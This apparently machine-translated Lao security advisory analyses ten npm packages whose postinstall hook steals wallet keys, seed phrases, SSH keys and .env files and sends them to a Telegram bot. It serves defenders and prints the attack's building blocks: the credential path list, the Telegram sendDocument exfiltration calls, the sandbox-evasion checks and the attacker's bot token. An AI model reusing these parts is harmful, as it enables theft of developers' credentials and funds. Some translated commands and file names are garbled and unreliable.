TL; DR
ໃນວັນທີ 9 ມິຖຸນາ 2026 ບັນຊີຜູ້ເຜີຍແຜ່ npm ດຽວ, aicrypto-xzggg, ສົ່ງແລ້ວ ສິບຊຸດ ດ້ວຍຊື່ທີ່ມີລົດຊາດແບບ crypto ແລະ Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ແລະອີກຫົກອັນ.
ແຕ່ລະແພັກເກດໃຊ້ payload ດຽວກັນຈາກ postinstall hook. ເມື່ອຕິດຕັ້ງ, ມັນຈະກວດສອບວ່າມັນກຳລັງເຮັດວຽກຢູ່ໃນ CI ຫຼື sandbox — ຖ້າບໍ່, ມັນຈະອ່ານ wallet keystores, seed-phrase files, SSH keys, ແລະ .env ໄຟລ໌ຈາກທົ່ວທັງຫົກລະບົບນິເວດ blockchain ແລະສົ່ງພວກມັນໄປຫາ Telegram bot.
ຕົວຊີ້ວັດດຽວທີ່ຜູ້ຖືກກ່າວຟ້ອງສາມາດລ່າຫາໄດ້ທັນທີຄືລະຫັດ bot ຂອງ Telegram 8227918239.
ຄວາມຮຸນແຮງ: ສໍາຄັນ — ການລັກລະຫັດລາຍເຊັນ ແລະ ປະໂຫຍກການກູ້ຄືນໂດຍກົງຈາກ ສະຖານີເຮັດວຽກຂອງນັກພັດທະນາ.
ການໂຈມຕີ: ມັນເຮັດວຽກແນວໃດ
ແພັກເກດຕ່າງໆໂຄສະນາຕົນເອງວ່າເປັນສິ່ງອຳນວຍຄວາມສະດວກສຳລັບນັກພັດທະນາ blockchain. ຊຸດ .json ມີໜ້ອຍທີ່ສຸດ ແລະ ຊີ້ວົງຈອນການຕິດຕັ້ງໄປທີ່ສະຄຣິບ:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } ສະຄຣິບ/ຫຼັງການຕິດຕັ້ງ.js ເປັນຊິມໜຶ່ງແຖວທີ່ໂຫຼດພາລະຕົວຈິງ: ຕ້ອງການ(“../src/index.js”)ທີ່ຢູ່ ເນື່ອງຈາກວ່າ ຕິດຕັ້ງຫຼັງ ແລ່ນໂດຍອັດຕະໂນມັດໃນລະຫວ່າງ npm ຕິດຕັ້ງ, ບໍ່ຈຳເປັນຕ້ອງມີການນຳເຂົ້າລະຫັດໂດຍນັກພັດທະນາ — ການວາງແພັກເກດໃນຕົ້ນໄມ້ dependency ແມ່ນພຽງພໍທີ່ຈະປະຕິບັດມັນໄດ້.
ລະບົບຕ່ອງໂສ້ການຂ້າຢູ່ພາຍໃນ src/index.js ແມ່ນສີ່ຂັ້ນຕອນຄື:
- ການກວດສອບສິ່ງແວດລ້ອມ. ຟັງຊັນ guard ຈະຕັດສິນໃຈວ່າໂຮດຈະມີລັກສະນະຄືກັບຕົວແທນ build ຫຼື sandbox ການວິເຄາະ.
- ຊັກຊ້າ. ການປະຕິບັດຖືກເລື່ອນອອກໄປຍ້ອນຫຼັງ ຕັ້ງເວລາອອກ ປະມານ 7.4 ວິນາທີ.
- ການລວບລວມ. ບັນຊີລາຍຊື່ຄົງທີ່ຂອງກະເປົາເງິນ, ລະຫັດ, ແລະເສັ້ນທາງໄຟລ໌ລັບແມ່ນຖືກຍ່າງໄປ; ໄຟລ໌ທີ່ມີຢູ່ແລ້ວຈະຖືກຈັດຄິວ.
- ການກັ່ນກອງ. ໄຟລ໌ທີ່ຢູ່ໃນຄິວຈະຖືກສົ່ງໄປຫາບັອດ Telegram, ເຊິ່ງຈະມີຂໍ້ຄວາມສະຫຼຸບກ່ອນໜ້າ.
ລາຍຊື່ເປົ້າໝາຍການເກັບກຳກວມເອົາຫົກລະບົບຕ່ອງໂສ້ບວກກັບຄວາມລັບທົ່ວໄປຂອງນັກພັດທະນາ. ຕັດອອກແລ້ວ:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local ເສັ້ນທາງທັງໝົດຊາວເອັດເສັ້ນທາງ. ລາຍການໄດເລກະທໍລີເຊັ່ນ: ~/.ethereum/ບ່ອນເກັບກະແຈ ຖືກຂະຫຍາຍອອກ ແລະ ທຸກໆໄຟລ໌ພາຍໃນຈະຖືກຈັດຄິວ. ການກັ່ນຕອງໃຊ້ Telegram Bot API ໂດຍກົງ — a ສົ່ງຂໍ້ຄວາມ ໂທຫາດ້ວຍບົດສະຫຼຸບໂຮດ ແລະ ໄຟລ໌, ຈາກນັ້ນ ສົ່ງເອກະສານ ອັບໂຫຼດຫຼາຍສ່ວນສຳລັບແຕ່ລະໄຟລ໌:
ຂໍ້ຄວາມ
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) ຂໍ້ຄວາມສະຫຼຸບທີ່ລະຫັດປະກອບຂຶ້ນເລີ່ມຕົ້ນດ້ວຍສະຕຣິງຕາມຕົວອັກສອນ ຜູ້ລັກລະຫັດລັບ, ຕາມດ້ວຍຊື່ໂຮສ, ຊື່ຜູ້ໃຊ້, ຊື່ແພັກເກດຕົ້ນກຳເນີດ, ຈຳນວນໄຟລ໌ ແລະ ປະທັບເວລາ.
ມີຫຍັງໃໝ່ຢູ່ທີ່ນີ້
ຕົວແຕກຕ່າງບໍ່ແມ່ນກົນໄກການລັກ - exfil ທີ່ອີງໃສ່ Telegram ຈາກ npm ຕິດຕັ້ງຫຼັງ hooks ຖືກຢຽບຍ່ຳດີ. ມັນແມ່ນ ປະຕູປະຕິບັດ. ກ່ອນທີ່ຈະເຮັດຫຍັງ, payload ຈະເອີ້ນຟັງຊັນທີ່ສົ່ງຄືນຄ່າ true ເມື່ອໂຮດຄ້າຍຄືກັບ CI runner ຫຼື sandbox, ແລະສົ່ງຄືນກ່ອນເວລາເມື່ອມັນເຮັດ:
ຂໍ້ຄວາມ
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) regex ຂອງ container-id ເປັນປະໂຫຍກທີ່ໜ້າສັງເກດ: ຊື່ໂຮດ 12-hex-character ແມ່ນຮູບຮ່າງເລີ່ມຕົ້ນທີ່ Docker ກຳນົດໃຫ້ກັບ ບ່ອນເກັບມ້ຽນ, ດັ່ງນັ້ນ payload ຈຶ່ງຖືວ່າ "ຊື່ໂຮສຂອງຂ້ອຍເບິ່ງຄືກັບຕູ້ຄອນເທນເນີ Docker" ເປັນເຫດຜົນທີ່ຈະຢູ່เฉยๆ. ບວກກັບການຊັກຊ້າເຈັດວິນາທີ, ການອອກແບບດັ່ງກ່າວສະໜັບສະໜູນການແລ່ນຢູ່ໃນສະຖານີເຮັດວຽກຕົວຈິງຂອງນັກພັດທະນາ ແລະ ງຽບຢູ່ທຸກບ່ອນທີ່ເບິ່ງຄືກັບການວິເຄາະແບບອັດຕະໂນມັດ. ປະຕູນັ້ນແມ່ນສິ່ງທີ່ສະກັດກັ້ນສັນຍານການວິເຄາະແບບໄດນາມິກ ແລະ ຮັກສາການໄຫຼຂອງ exfil ຄົງທີ່ເປັນຫຼັກຖານການຕັດສິນຕົ້ນຕໍ.
ກໍານົດເວລາ
| ວັນທີ (UTC) | ກໍລະນີ |
|---|---|
| 2026-06-09 ~02:48 | ແພັກເກດທຳອິດໃນກຸ່ມຖືກໝາຍໄວ້ເມື່ອເຜີຍແຜ່ (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | ສະມາຊິກທີ່ມີລຸ້ນສູງກວ່າຖືກລາຍງານ (ethereum-kit-9 ເວລາ 1.25.36, wallet-sdk-9 ເວລາ 3.7.73) |
| 2026-06-09 ~03:58–03:59 | ສະມາຊິກສຸດທ້າຍທີ່ຖືກໝາຍທຸງ (defi-tools-39 ເວລາ 4.26.29, swap-sdk-87 ເວລາ 4.63.78, farming-tools-12 ເວລາ 4.68.54) |
| 2026-06-09 | ທັງສິບຢ່າງຖືກຈັດປະເພດເປັນອັນຕະລາຍ ແລະ ລາຍງານສຳລັບການລຶບລ້າງການລົງທະບຽນ |
ທັງສິບຄົນໄດ້ປາກົດຂຶ້ນພາຍໃນປະມານເຈັດສິບນາທີ, ເຊິ່ງສອດຄ່ອງກັບການເຜີຍແຜ່ສະຄຣິບດຽວຈາກບັນຊີດຽວ.
ຕົວຊີ້ວັດຂອງການປະນີປະນອມ
ຕົວຊີ້ວັດເຄືອຂ່າຍ ແລະ ພຶດຕິກຳ (ໂຮສຖືກຍົກເລີກແລ້ວ):
| ຕົວຊີ້ວັດ | ມູນຄ່າ |
|---|---|
| ຈຸດສິ້ນສຸດ Exfil | api[.]telegram[.]org (Telegram Bot API) |
| ID ບັອດ Telegram | 8227918239 |
| ໂທເຄັນບັອດ | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ລະຫັດການສົນທະນາ Telegram | 6433587894 |
| ຕິດຕັ້ງຕະຂໍ | postinstall → scripts/postinstall.js → src/index.js |
| ສາຍເຂັມຂັດນິລະໄພ | CRYPTO STEALER ໃນຂໍ້ຄວາມສະຫຼຸບທີ່ລວບລວມໄວ້ |
| ສໍານັກພິມ | aicrypto-xzggg (ອີເມວທີ່ລະບຸໄວ້ vipsyria88@gmail[.]com, ບໍ່ໄດ້ຢັ້ງຢືນ) |
ແພັກເກດ ແລະ ເວີຊັນຕ່າງໆ, ແຕ່ລະອັນມີ SHA-256 ຂອງມັນ src/index.js payload (payloads ມີລັກສະນະຄືກັນ ແລະ ແຕກຕ່າງກັນພຽງແຕ່ໃນປ້າຍຊື່ແພັກເກດທີ່ຝັງຢູ່, ສະນັ້ນແຕ່ລະ hash ຈຶ່ງແຕກຕ່າງກັນ):
| Package | Version | SHA-256 ຂອງ src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
ການຄົ້ນຫາແບບງ່າຍໆ: ຄົ້ນຫາບັນທຶກການຕິດຕັ້ງ ແລະ ໄຟລ໌ລັອກສຳລັບຊື່ໃດນຶ່ງໃນສິບຊື່, ແລະ ຄົ້ນຫາການຈະລາຈອນອອກສຳລັບການເຊື່ອມຕໍ່ກັບ Telegram Bot API ຈາກໂຮສຕ໌ build ຫຼື ນັກພັດທະນາທີ່ບໍ່ໄດ້ໃຊ້ມັນ.
ການອ້າງອີງ ແລະ ພຶດຕິກຳທີ່ສັງເກດເຫັນ
ຊຸດທັງສິບຊຸດຖືກເຜີຍແຜ່ໂດຍບັນຊີດຽວ, aicrypto-xzggg, ເຊິ່ງອີເມວທີ່ລະບຸໄວ້ແມ່ນ vipsyria88@gmail[.]comທັງອີເມວ ແລະ ລິ້ງຄວບຄຸມແຫຼ່ງຂໍ້ມູນບໍ່ໄດ້ຮັບການຢືນຢັນໃນ metadata ຂອງ registray, ແລະ ບັນຊີດັ່ງກ່າວມີຄະແນນຊື່ສຽງທາງລົບຢ່າງຫຼວງຫຼາຍ. ພວກເຮົາຍັງບໍ່ທັນໄດ້ຢືນຢັນວ່າໃຜເປັນຜູ້ດຳເນີນການບັນຊີ.
ສອງລາຍລະອຽດທີ່ຄຸ້ມຄ່າທີ່ຈະແຍກອອກຈາກການອ້າງສິດຕົວຕົນໃດໆ. ທຳອິດ, ຊຸດ .json ຜູ້ປະພັນ ການອ່ານພາກສະໜາມ Alex Smith ໃນທຸກໆແພັກເກດ, ໃນຂະນະທີ່ບັນຊີການເຜີຍແຜ່ຕົວຈິງແມ່ນ aicrypto-xzggg; ຊ່ອງຂໍ້ມູນຜູ້ຂຽນແມ່ນ metadata ທີ່ປະກາດຕົນເອງ ແລະ ບໍ່ໄດ້ຢືນຢັນຄວາມເປັນຜູ້ຂຽນ. ອັນທີສອງ, ໝາຍເລກເວີຊັນແຕກຕ່າງກັນຢ່າງຫຼວງຫຼາຍ - ສະມາຊິກບາງຄົນນັ່ງຢູ່ທີ່ 1.0.0, ຄົນອື່ນໆຢູ່ທີ່ 4.68.54 — ເຊິ່ງສອດຄ່ອງກັບການນຳໃຊ້ payload ດຽວຄືນໃໝ່ໃນທົ່ວຊື່ແພັກເກດທີ່ສ້າງຂຶ້ນໃໝ່ແທນທີ່ຈະຮັກສາປະຫວັດການປ່ອຍຕົວຈິງ.
ພຶດຕິກຳດັ່ງກ່າວແມ່ນເປັນເອກະພາບໃນທົ່ວ cluster: ລາຍຊື່ເສັ້ນທາງເປົ້າໝາຍດຽວກັນ, id bot ແລະ id chat ຂອງ Telegram ດຽວກັນ, ປະຕູສະພາບແວດລ້ອມດຽວກັນ, ຄືກັນ ຜູ້ລັກລະຫັດລັບ ເຄື່ອງໝາຍ. ຄວາມເປັນເອກະພາບນັ້ນແມ່ນການເຊື່ອມຕໍ່ທີ່ເຂັ້ມແຂງທີ່ສຸດລະຫວ່າງແພັກເກດຕ່າງໆ. ມັນເປັນສັນຍານຕົວປະຕິບັດການດຽວກັນ, ບໍ່ແມ່ນຕົວຕົນ.
ຜົນກະທົບ, ແນວໂນ້ມ ແລະ ຄຳແນະນຳສຳລັບຜູ້ປົກປ້ອງ
ການເປີດເຜີຍແມ່ນແນ່ນອນ. ນັກພັດທະນາຜູ້ທີ່ຕິດຕັ້ງແພັກເກດເຫຼົ່ານີ້ຢູ່ໃນສະຖານີເຮັດວຽກທີ່ມີກະເປົາເງິນຊອບແວ, ໄຟລ໌ seed-phrase, ຫຼືລະຫັດ SSH ມີໄຟລ໌ເຫຼົ່ານັ້ນອ່ານ ແລະ ສົ່ງອອກຈາກໂຮດພາຍໃນວິນາທີ. ວະລີການກູ້ຄືນ ແລະ ລະຫັດການເຊັນບໍ່ໄດ້ໝົດອາຍຸຄືກັບທີ່ໂທເຄັນເຊດຊັນເຮັດ; ເມື່ອ ຂໍ້ຄວາມຊ່ວຍຈື່ ຫຼື ໂຊລານາ id.json ອອກຈາກເຄື່ອງຈັກ, ເງິນທີ່ມັນຄວບຄຸມຈະມີຄວາມສ່ຽງຈົນກວ່າພວກມັນຈະຖືກຍ້າຍ. ການແລ່ນດຽວກັນນີ້ຍັງຈັບເອົາ .env ໄຟລ໌ຕ່າງໆ, ເຊິ່ງມີລະຫັດ API ແລະຂໍ້ມູນປະຈຳຕົວຖານຂໍ້ມູນເປັນປະຈຳ.
ສອງແນວໂນ້ມທີ່ຢູ່ເບື້ອງຫຼັງກຸ່ມນີ້. ອັນທຳອິດແມ່ນການນຳໃຊ້ຊື່ທີ່ມີຫົວຂໍ້ເປັນ crypto ແລະ Web3 ຢ່າງຕໍ່ເນື່ອງເພື່ອດຶງດູດຜູ້ຊົມສະເພາະ - ນັກພັດທະນາທີ່ຮັກສາກະເປົາເງິນ ແລະ ກະແຈໄວ້ໃນເຄື່ອງດຽວກັນທີ່ພວກເຂົາຕິດຕັ້ງ dependencies. ອັນທີສອງແມ່ນການເຕີບໂຕຂອງການຫຼີກລ່ຽງ sandbox ໃນ payloads ເວລາຕິດຕັ້ງ. ປະຕູທີ່ກວດສອບຕົວແປສະພາບແວດລ້ອມ CI, ຊື່ຜູ້ໃຊ້ runner, ແລະຮູບຮ່າງຊື່ໂຮດ docker container-id ແມ່ນຄວາມພະຍາຍາມໂດຍເຈດຕະນາທີ່ຈະປະພຶດຕົວທີ່ແຕກຕ່າງພາຍໃຕ້ການວິເຄາະກ່ວາຢູ່ໃນສະຖານີເຮັດວຽກຕົວຈິງ, ແລະມັນຍົກລະດັບມາດຕະຖານສຳລັບການກວດຈັບແບບໄດນາມິກຢ່າງດຽວ.
ສຳລັບຜູ້ປ້ອງກັນ:
ຕິດຕັ້ງດ້ວຍສະຄຣິບທີ່ຖືກປິດໃຊ້ງານໂດຍຄ່າເລີ່ມຕົ້ນ. npm ຕິດຕັ້ງ - ບໍ່ສົນໃຈສະຄຣິບ, ຫຼືກໍານົດ ບໍ່ສົນໃຈສະຄຣິບ = ຈິງ in .npmrc, ປ້ອງກັນ ຕິດຕັ້ງຫຼັງ ການປະຕິບັດ; ເປີດໃຊ້ສະຄຣິບສະເພາະສຳລັບການເພິ່ງພາອາໄສສະເພາະທີ່ຕ້ອງການພວກມັນຢ່າງແທ້ຈິງ.
ເກັບຮັກສາກະເປົາເງິນ ແລະ ລະຫັດເຊັນໄວ້ໃກ້ເຄື່ອງກໍ່ສ້າງ ແລະ ພັດທະນາ. ໃຊ້ກະເປົາເງິນຮາດແວ ຫຼື ໂຮສເຊັນທີ່ອຸທິດຕົນ ແລະ ບໍ່ຕ້ອງເພິ່ງພາອາໄສ.
ໃຫ້ການປິ່ນປົວ .env, keystores, ແລະໄຟລ໌ seed-phrase ເປັນເຄື່ອງປະດັບມົງກຸດ. ພວກມັນບໍ່ຄວນວາງໄວ້ໃນໄດເລກະທໍລີທີ່ຍັງເປັນ npm ຕິດຕັ້ງ ຕົ້ນໄມ້ເຮັດວຽກ.
ຊອກຫາການເຊື່ອມຕໍ່ອອກໄປຫາ Telegram Bot API ຈາກ CI ແລະ ໂຮສຂອງນັກພັດທະນາ. ສະພາບແວດລ້ອມການສ້າງສ່ວນໃຫຍ່ບໍ່ເຄີຍເອີ້ນມັນ; ສະພາບແວດລ້ອມທີ່ທັນທີທັນໃດເກີດຂຶ້ນທັນທີຫຼັງຈາກຕິດຕັ້ງແລ້ວ, ແມ່ນຄຸ້ມຄ່າທີ່ຈະສືບສວນ.
Pin ແລະ ກວດສອບ dependencies. ຊຸດໃໝ່ທີ່ມີຊື່ crypto ທົ່ວໄປ, a ຕິດຕັ້ງຫຼັງ hook, ແລະບໍ່ມີລິ້ງ repository ໃດທີ່ຮັບປະກັນການກວດສອບກ່ອນທີ່ມັນຈະເຂົ້າໄປໃນ lockfile.
ຂໍ້ຍົກເວັ້ນ container-id ຍັງເປັນຕົວເຕືອນສຳລັບນັກວິເຄາະ: payload ເວລາຕິດຕັ້ງທີ່ຢຸດນິ້ງຢູ່ໃນ sandbox ບໍ່ແມ່ນເລື່ອງທີ່ບໍ່ດີ, ແຕ່ມັນເປັນການເລືອກເຟັ້ນ. ການທົບທວນແບບຄົງທີ່ຂອງເສັ້ນທາງການຕິດຕັ້ງຍັງຄົງເປັນວິທີທີ່ໜ້າເຊື່ອຖືໃນການເບິ່ງວ່າການປະຕິບັດແບບໄດນາມິກອາດຈະປະຕິເສດບໍ່ສະແດງໃຫ້ເຫັນ.
ເອກະສານ
ເອກະສານຕິດຕັ້ງ npm — ສະຄຣິບວົງຈອນຊີວິດ ແລະ – ບໍ່ສົນໃຈສະຄິບ— ເອກະສານອ້າງອີງສຳລັບການປິດການຕິດຕັ້ງອັດຕະໂນມັດ hooks.





